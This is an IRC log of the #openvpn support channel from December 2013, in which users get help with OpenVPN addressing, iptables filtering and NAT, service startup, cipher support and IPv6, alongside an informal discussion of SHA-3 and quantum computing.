12:57 < pekster> That's not supported wallbroken_u_z. I told you this yesterday. In server/client mode, the server _must_ know what address the client has, and there's no way "around" that problem. Use p2p if you want a true Point-To-Point network (where addressing is completely arbitrary) or use tap and let the client do what it wants (with all the usual consequences of that behavior on a LAN)
12:57 < psycheye> I don't like solve problems avoid it
12:57 < wallbroken_u_z> ecrist, you said that tun interface need to know IP given to work properly
12:58 < psycheye> for now I continue using tun and searching for the goal
12:58 < wallbroken_u_z> ok
12:58 < psycheye> thanks again :-)
12:58 < wallbroken_u_z> pekster, ok, you also geave me another solution yesterday, with --iroute
12:59 < wallbroken_u_z> "read about --iroute in the manpage if you actually want the client to have additional addresses, but you can't do this from your pool or you _will_ run into problems" this is a quote on what you said to me
12:59 < pekster> YMMV, it might work but I haven't tried it, and I think that's a very dumb thing to want
12:59 < smerz> psycheye, when troubleshooting mtu issues you must capture layer2 (the etnernet frames) from your network card. http://en.wikipedia.org/wiki/OSI_model  do not capture from tun device
12:59 <@vpnHelper> Title: OSI model - Wikipedia, the free encyclopedia (at en.wikipedia.org)
13:00 < pekster> wallbroken_u_z: WHat is your actual problem? You've wasted an awful lot of time here and seem to be intentionally trying to break openvpn, then demanding answers on why doing stupid things causes unexpected behavior
13:00 < pekster> OpenVPN is an advanced networking tool, and it lets you shoot yourself in the foot in many instances. If you do that, few people here will feel sorry for you
13:01 < wallbroken_u_z> pekster, I have no problems, I'd like to understand how openvpn works at all
13:01 <@ecrist> wallbroken_u_z: you need to realize that what you're trying to do is wrong, and not a sanctioned/supported method of configuration
13:01 < wallbroken_u_z> I have free time to spend in learing it right now
13:01 <@ecrist> dirnk the kool-aid or go away
13:02 < pekster> And I don't have the "free time" to spend the years it will take you to learn why what you're doing is largely broken
13:03 < pekster> You're basically trolling this channel for "help" doing insanely stupid things, and several of us are now very sick of it
13:04 < wallbroken_u_z> yes, i know that everytime I can cause you spend too much time to speak, but my method could be right: "do something wrong and then try to understand why it does not work"
13:06 <@ecrist> no, that's not what we are here for
13:08 < wallbroken_u_z> what is a "kool-aid" ?
13:08 < wallbroken_u_z> google translate does not match it
13:09 < pekster> He means "do things the openvpn way", or please leave instead and stop wasting our time.
13:09 < pekster> You've been told many times how static addressing works (see: !static, or that wiki I just linked you.) Arguing with several of us when we tell you that you've broken openvpn by not doing that is very silly
13:10 < rob0> Strictly speaking, it is a fruity-flavored sugar water beverage marketed at children. Figuratively, it refers to the Jonestown (Guyana) mass suicide, where kool-aid was the vector for the poison.
13:11 < wallbroken_u_z> oh ok
13:18 < wallbroken_u_z> http://en.wikipedia.org/wiki/Drinking_the_Kool-Aid
13:18 <@vpnHelper> Title: Drinking the Kool-Aid - Wikipedia, the free encyclopedia (at en.wikipedia.org)
13:19 < wallbroken_u_z> now looks better
13:38 < wallbroken_u_z> hai mai spezzato un pedardo?
13:38 < wallbroken_u_z> ops, wrong chat
13:38 -!- debbie10t2 [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
13:42 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has quit [Ping timeout: 260 seconds]
13:57 -!- anroid [~m1@bas1-ottawa10-1177946487.dsl.bell.ca] has joined #openvpn
13:57 < anroid> Hello guys, i need some help with blocking certain IP's
13:57 < anroid> for example, i do in iptables "iptables -A INPUT -s 10.10.10.10 -j DROP"      .... and when i connect SSH to my server, if i try to ping 10.10.10.10 i get NO reply
13:58 < anroid> but when i connect to the server through OpenVPN i am able to get a reply to ping for ip 10.10.10.10
13:58 < anroid> how can i block outgoing IP's to work properly with openvpn ?
14:00 < pekster> What's INPUT got to do with blocking outbound traffic, and what does blocking outgoing traaffic have to do with a VPN?
14:01 < anroid> pekster, sorry i wrote that in a rush, i meant -A OUTPUT
14:01 < pekster> You'd best back up and define your goal:
14:01 < pekster> !goal
14:01 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:02 < anroid> i would like to block certain IP's that are bad sites, like an adult site with an IP 10.10.10.10
14:02 < rob0> Could well be that this question belongs in #Netfilter ...
14:03 < rob0> Sounds like a failure to understand the built-in chains of the filter table. Try "FORWARD" for forwarded packets.
14:04 < pekster> What you want is a web proxy, not a firewall. And this still doesn't seem to have much to do with OpenVPN at all if you want to do traffic filtering. #Netfilter is more on-topic for firewall problems, but it's also the wrong tool if you're trying to block websites (since websites can have multiple or even quickly changing IPs)
14:05 < pekster> Not sure how a VPN comes into this, but regardless of how you're using a VPN, OpenVPN does not evaluate the traffic you send across; it simply delivers it
14:17 -!- anroid [~m1@bas1-ottawa10-1177946487.dsl.bell.ca] has quit [Ping timeout: 272 seconds]
14:20 -!- debbie10t2 [~ma1com10t@host-92-20-1-125.as13285.net] has quit [Ping timeout: 260 seconds]
14:33 < wallbroken_u_z> do you think I should store all the pki folder? it could be usefull?
14:33 < wallbroken_u_z> I saved only certs and keys
14:43 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
14:45 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Read error: Connection reset by peer]
14:49 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
14:49 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
14:51 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
14:54 < [diecast]> i've installed OpenVPN AS from EC2 and allowed connected users to access a private subnet 10.10.10.0/24 - my question is how do I get NAT working on the 10.10.10.0/24 network? what would the iptables commands look like for the openvpn server.
14:54 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Client Quit]
14:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:07 < debbie10t> the million dollar question =]
15:08 < [diecast]> oh? well here are the iptables - http://pastebin.com/DgfCLBk7
15:12 < debbie10t> technically this channel is for openvpn info - openvpn does support some kind of nat but figuring out how it works is a mystery
15:13 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has joined #openvpn
15:13 < [diecast]> neat
15:14 < rob0> That looks like "iptables -S", which does not include the nat table.
15:14 < [diecast]> oh, interesting
15:15 < rob0> "iptables-save -c" is preferred. Also, iptables questions belong in #Netfilter, not here.
15:15 < [diecast]> k
15:15 < [diecast]> i just did iptables -L -n just now, but I'll take it there instead
15:16 < rob0> we definitely will not appreciate -L :)
15:16 < [diecast]> hah, ok
15:16 < [diecast]> i was in #networking and their topic says to use -S instead of -L
15:16 < rob0> -S is better than -L, yes.
15:17 < rob0> -S is similar to iptables-save/restore format.
15:17 < [diecast]> but it misses the important bits in my case
15:17 < rob0> Any iptables command assumes "-t filter" if there's no -t given.
15:18 < [diecast]> well if you are interesting in looking, here is the iptables-save -c http://pastebin.com/p9aHkUmn
15:20 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
15:21 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
15:37 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
15:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:43 -!- Devastator [~devas@186.214.111.67] has quit [Changing host]
15:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
15:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
15:51 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
15:54 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 252 seconds]
16:01 < debbie10t> is openvpn --client-nat compatible with openvpn --topology NET30 ?
16:01 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
16:01 -!- tumbl3r [~tumbl3r@66-188-139-58.static.mdsn.wi.charter.com] has joined #openvpn
16:01 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
16:02 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has quit []
16:02 < tumbl3r> any idea why after an IP change I cant start openvpn, I get no output with service openvpn start and doing it manually says Initialization Sequence Completed but a netstat shows it's not listening on any port
16:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:04 < pekster> tumbl3r: openvpn refuses to start if it can't bind to the local port; chances are you're not showing UDP ports
16:05 < tumbl3r> well I'm confused cause the only thing I've changed was my IP and the firewall script to match the new IP
16:06 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
16:06 < tumbl3r> strange your right I was doint netstat -ntlp and netstat aun does show it listening but only if started manually
16:06 < pekster> Something to the effect of `netstat -an | grep 1194` (or w/e port) will confirm the address/port it's bound to. Otherwise compare logs from both ends and maybe fire up tcpdump
16:08 < tumbl3r> service openvpn start, just hangs
16:08 < pekster> "service" is not provided by openvpn but your distro
16:08 < pekster> ie: if it works when you invoke `openvpn --config /path/to/your.conf` but not when launched some other way, something is breaking with the way it's getting launched
16:10 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 252 seconds]
16:14 < debbie10t> dammit .. i made iot work, changed it and ferked it !
16:18 < pekster> !factoids search --values addressing
16:18 <@vpnHelper> "bridge-dhcp" is http://openvpn.net/faq.html#bridge-addressing for making clients grab dhcp ip over the bridge but not over-riding dhcp ip from local dhcp server
16:18 < pekster> !factoids search --values address
16:18 <@vpnHelper> 'ifconfig', 'tap', 'bridge-dhcp', 'dynamicfirewall', 'iporder', 'nobind', 'ipp', 'donate', 'layer2', '/30', 'topology', 'obsdnat', 'linnat', and 'tunortap'
16:19 < pekster> !iporder
16:19 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
16:20 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
16:48 -!- joshh20_ is now known as joshh20
16:49 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has left #openvpn []
16:54 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
16:57 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
16:58 -!- schultza [~quassel@ut1.ridgecrestherbals.com] has joined #openvpn
16:59 < schultza> is there a way to authenticate users with public keys (not CA based certs)?
16:59 < schultza> kinda like ssh does
16:59 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 245 seconds]
17:03 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
17:06 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
17:07 -!- elfixit [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has quit [Quit: elfixit]
17:22 -!- Denial [Denial@2.217.201.230] has quit []
17:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
17:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:54 -!- schultza [~quassel@ut1.ridgecrestherbals.com] has quit [Remote host closed the connection]
17:58 -!- Bretos1 [~Bretos@vps.tyborek.pl] has joined #openvpn
17:59 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Remote host closed the connection]
18:10 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
18:17 -!- Devastator [~devas@186.214.111.67] has quit [Changing host]
18:17 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:21 -!- tumbl3r [~tumbl3r@66-188-139-58.static.mdsn.wi.charter.com] has quit [Ping timeout: 272 seconds]
18:21 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
18:23 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
18:29 -!- tumbl3r [~tumbl3r@66-188-139-58.static.mdsn.wi.charter.com] has joined #openvpn
18:32 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
18:45 -!- tumbl3r [~tumbl3r@66-188-139-58.static.mdsn.wi.charter.com] has quit [Read error: Connection reset by peer]
18:50 -!- tumbl3r [~tumbl3r@66-188-139-58.static.mdsn.wi.charter.com] has joined #openvpn
18:55 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
19:00 -!- master_o1_master [~master_of@p4FD7B422.dip0.t-ipconnect.de] has joined #openvpn
19:03 -!- master_of_master [~master_of@p4FF24EA8.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
19:05 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has quit []
19:41 <+s7r> aes-256 only cbc mode for openvpn?
19:41 <+s7r> or can i use it in xts mode also
19:46 < pekster> s7r: As of 2.3, only CBC. 2.2.x supported OFB/CFB, but those were removed in 2.3
19:46 <+Thermi> You can use whatever cipher "openvpn --show-tls --show-ciphers --show-digests" shows you in "Supported"
19:46 <+s7r> thanks
19:46 <+s7r> doing some reading now
19:47 < pekster> Note that not all ciphers in --show-tls are actually usable
19:47 < pekster> As of 2.3.2 you're restricted to TLSv1.0 (-master allows v1.2 cipher-suites too) and today only RSA suites
19:47 <+Thermi> Does that also apply to ciphers found under "supported"?
19:47 < pekster> No, all the --show-ciphers are usable
19:48 < pekster> Those aren't TLS
19:48 <+Thermi> I see that the list of the message digests seems to be quite unsorted. Why?
19:49 <+Thermi> (sha224 appears under sha512, instead of above)
19:49 < pekster> Because it's not a sorted list
19:49 <+Thermi> Well, it would be quite handy to have it sorted. ;)
19:49 <+s7r> sha512 is that of sha3 family?
19:49 <+s7r> or sha2?
19:49 <+Thermi> sha2.
19:49 <+Thermi> sha2 in the 512 bit version.
19:50 <+s7r> sha3 will it ever be usuable? how is it any beetter of sha2
19:50 <+Thermi> Sure.
19:50 < pekster> As of today, it's largely pointless (and no, not supported in openvpn today)
19:50 <+Thermi> As soon as it's widely implemented, it should be quite usable. (But not in OpenVPN at this point of time.)
19:50 < pekster> sha3 offers protections against problems that never manifested in sha2
19:51 <+Thermi> Better safe than sorry.
19:51 < pekster> We could also start planning for the sun going nova, but not today
19:51 <+Thermi> Short-/Mid-Term survival is more important.
19:52 -!- dikkie_bonkem [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
19:52 <+Thermi> pekster: In what timezone are you?
19:54 <+s7r> that sounds like sha3 is overkill at this moment
19:55 <+s7r> a study i've recently read says that no matter about computing power there will simply be no energy enough to let you count to 2^256
19:55 <+Thermi> That depends on the type of application. I've read, that SHA3 is supposed to be easier to implement in hardware and hence should be faster, so it's predestined to be implemented.
19:55 <+Thermi> That sounds like that was a bad paper.
19:56 <+Thermi> Well, if you phrase it like that.
19:56 <+Thermi> Do I need to quote Bill Gates on RAM?
19:56 < pekster> It has hw advantages, yes, but until hw-accel exists for it that's also only theoretical
19:57 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 245 seconds]
20:01 < MacGyver> Thermi: It was actually quite a good paper introducing a new way to view adversaries, but the way s7r puts it is a bit limited.
20:01 < MacGyver> Thermi: Let me check if I can find the link.
20:05 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
20:05 < dikkie_bonkem> 1.1579208923731619542357098500869e+77
20:06 < dikkie_bonkem> it is sure gonna take a while
20:07 <+Thermi> Man is going to build faster computers and with the advent of quantum computing, that problem will soon cease to exist, too.
20:08 < dikkie_bonkem> advent !
20:09 < MacGyver> Thermi: If you actually think that then you have no idea how quantum computing works.
20:10 < MacGyver> Thermi: Quantum computing doesn't suddenly solve P ?= NP.
20:10 < MacGyver> Thermi: (Given that P != NP is the basic assumption most of our crypto is based on.)
20:11 < MacGyver> Thermi: Yes, discrete log-based algorithms will be broken.
20:13 < dikkie_bonkem> MacGyver: assuming they can be "broken"
20:14 <+Thermi> You're overanalyzing my statement. I didn't mean to imply, that we can create algorithms for problems in NP, that solve the problem in P. I actually meant to say, that key lengths that seem to be nearly unbreakable in an average human's life time, will soon be very easily breakable.
20:15 <+Thermi> (Ommitted part of the sentences because of lazyness, sorry.)
20:16 < MacGyver> Thermi: And symmetric crypto has possees potential speedups by a factor of 4, iirc.
20:16 <+Thermi> I'm sorry, that doesn't show up right on my IRC client. :/
20:16 < MacGyver> dikkie_bonkem: There's a quantum algorithm that breaks discrete logs, that's not an assumption, that's a fact.
20:17 < MacGyver> Shor's algorithm.
20:17 < MacGyver> Thermi: Right, but there's forms of public key crypto that are (possibly) resistant to quantum computing.
20:18 < MacGyver> Thermi: Check pqcrypto.org if interested.
20:18 <+Thermi> I put that into my bookmarks to look at it tomorrow.
20:19 <+Thermi> MacGyver: How do you mean "resistant". Do you mean to say, that using quantum computers doesn't grant a significant speed up compared to "regular" computers?
20:21 < dikkie_bonkem> "quantum"computers ... i nocked one up in me shed !
20:23 < dikkie_bonkem> All i needed was a really Hot cup of tea
20:24 < MacGyver> Thermi: http://link.springer.com/chapter/10.1007/978-3-642-42001-6_9#page-1 , PDF-link at http://eprint.iacr.org/2013/635.pdf
20:24 < MacGyver> Thermi: That's what I mean, yes.
20:27 < MacGyver> Thermi: (Links above are one paper about energy-requirements of breaking certain levels of security. It's a bit tongue-in-cheek, but at the same time pretty decent.
20:27 < MacGyver> )
20:27 < dikkie_bonkem> soft toffee
20:27 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
20:31 < dikkie_bonkem> The fact is there are certain mathematical certanties that have proven to be flawless thus far .. there may be "routes" around then but we have NOT found a vehical capable of negotiating the terrain
20:36 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:36 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
20:36 -!- dikkie_bonkem [~ma1com10t@host-92-20-1-125.as13285.net] has left #openvpn []
20:37 -!- xrosnight [~quassel@120.236.123.130] has quit [Changing host]
20:37 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
20:38 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
20:42 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
20:55 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
21:01 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has left #openvpn []
21:02 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
21:16 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
21:19 -!- Mike3 [mad@mx.probie.nl] has quit [Read error: Connection reset by peer]
21:20 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
21:43 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
21:46 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
21:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 272 seconds]
21:51 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
21:53 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
22:06 <+haasn> When downloading something through my VPN (configured in tap mode out of necessity), the upload required for the chain of ACKs and whatnot is about twice that of without the VPN. This is obviously expected, since the overhead:data ratio of a simple packet like that is much worse. Still, it's making using VPN for big downloads practically unfeasible without throttling the download rate significantly (to about
22:06 <+haasn> half). I'm wondering what other steps I could take to optimize this situation, instead. I guess using two separate openvpn networks (one via tun for stuff that it supports, and one via tap for the rest) could alleviate this somewhat. What other steps could I take to reduce the ACK overhead?
22:08 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
22:08 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
22:09 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
22:10 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 260 seconds]
22:13 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
22:13 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
22:26 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
23:00 -!- kireevco [~Adium@108.60.55.152] has joined #openvpn
23:01 < kireevco> Hi, all, struggling with openvpnas and IPv6, anyone has experience with it?
23:05 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
23:07 < kireevco> It can't find (['user', 'iptables_live', 'iptables_openvpn'])")],
23:21 -!- corretico [~luis@190.5.215.146] has joined #openvpn
23:34 < kireevco> hah, there was an issue with ipv6 (openas doesn't support it). I disabled ipv6, still an issue, apparently, disabling on the interface was not enough. My ISP was passing me his ipv6 dns servers!
23:35 < kireevco> so I disabled them and openvpnas started working again. hope it will helps anyone
23:48 -!- kireevco [~Adium@108.60.55.152] has quit [Read error: Connection reset by peer]
--- Day changed Sat Dec 28 2013
00:23 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:53 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
01:02 -!- kireevco [~Adium@108.60.55.152] has joined #openvpn
01:05 -!- corretico [~luis@190.5.215.146] has joined #openvpn
01:20 -!- kireevco [~Adium@108.60.55.152] has quit [Read error: No route to host]
01:24 -!- consus [~Unknown@46.252.245.206] has joined #openvpn
01:33 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
01:41 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has joined #openvpn
02:00 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has quit [Ping timeout: 252 seconds]
02:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:10 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Remote host closed the connection]
02:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:39 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-xfoergqdoqcmzpzg] has quit [Ping timeout: 246 seconds]
02:42 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-sydkpidmlwgmexxp] has joined #openvpn
02:44 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
02:44 -!- corretico [~luis@190.5.215.146] has joined #openvpn
02:55 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
03:00 -!- consus [~Unknown@46.252.245.206] has quit [Remote host closed the connection]
03:21 -!- Bretos1 is now known as Bretos
03:28 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Ping timeout: 252 seconds]
03:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:00 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
04:04 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
04:07 -!- Jaska_ [~Q@gprs-internet-bcee68-126.dhcp.inet.fi] has joined #openvpn
04:10 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
04:15 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 246 seconds]
04:16 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:47 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
05:13 -!- debbie10t2 [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
05:16 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has quit [Ping timeout: 260 seconds]
05:32 -!- psycheye [~psycheye@93.49.16.11] has quit [Ping timeout: 252 seconds]
05:38 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
05:46 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
06:36 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 272 seconds]
06:40 -!- bandini [~bandini@host250-110-dynamic.4-87-r.retail.telecomitalia.it] has joined #openvpn
06:51 -!- bandini [~bandini@host250-110-dynamic.4-87-r.retail.telecomitalia.it] has quit [Quit: Ex-Chat]
06:51 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
06:59 < wallbroken_u_z> do you think that I should store all the "kpi" folder?
06:59 < wallbroken_u_z> *pki
07:17 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
07:51 -!- sgiratch [~sgiratch@unaffiliated/sgiratch] has joined #openvpn
07:52 < sgiratch> I like the topic. "The problem is probably firewall, really" :-D
07:53 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:05 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:06 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
08:07 < sgiratch> Im having some trouble with generating requests.
08:08 < sgiratch>  ./easyrsa gen-req client1
08:08 < sgiratch> Common Name (eg: your user, host, or server name) [client1]:client1                                                    14:50 < sgiratch> I like the topic. "The problem is probably firewall, really" :-D
08:08 < sgiratch> Error Loading extension section req_extra
08:08 < sgiratch> doh
08:09 < sgiratch> I still get the key so im not sure if the error matters?
08:13 -!- elfixit [~Icedove@2001:67c:20a1:1049:3e97:eff:fe7f:f3ad] has joined #openvpn
08:16 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
08:21 -!- pa [~pa@unaffiliated/pa] has quit [Quit: Sto andando via]
08:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:30 -!- noecc [~irc@unaffiliated/noecc] has joined #openvpn
08:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
08:38 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:38 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
08:45 -!- elfixit [~Icedove@2001:67c:20a1:1049:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 245 seconds]
08:47 -!- elfixit [~Icedove@2001:67c:20a1:1049:3e97:eff:fe7f:f3ad] has joined #openvpn
08:47 -!- kro[au] [~thatguy@209.141.41.57] has quit [Ping timeout: 260 seconds]
08:49 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
08:50 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
08:53 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 246 seconds]
08:55 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
09:01 -!- WilliamDotSI [~will@this.reverse.dns.is.as.hot.as.william.si] has joined #openvpn
09:01 < WilliamDotSI> i have a server that will act as openvpn client, conencting to a L2 bridged VPN without gateway for my internal usage - no issue with that
09:02 < WilliamDotSI> now this server has a eth1 which id like to use to bridge the VPN on it, do i just create a br1 and connect the VPN to it? any proxy arp or similar required?
09:05 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
09:08 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
09:08 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
09:09 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
09:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
09:16 <@krzee> !whybridge
09:16 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
09:17 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 246 seconds]
09:31 -!- corretico [~luis@190.5.215.146] has quit [Ping timeout: 240 seconds]
09:32 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
09:33 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:35 -!- corretico [~luis@190.5.215.146] has joined #openvpn
09:36 -!- APTX_ is now known as APTX
09:37 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:47 -!- elfixit [~Icedove@2001:67c:20a1:1049:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
09:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
09:52 -!- psycheye [~psycheye@93.49.16.11] has joined #openvpn
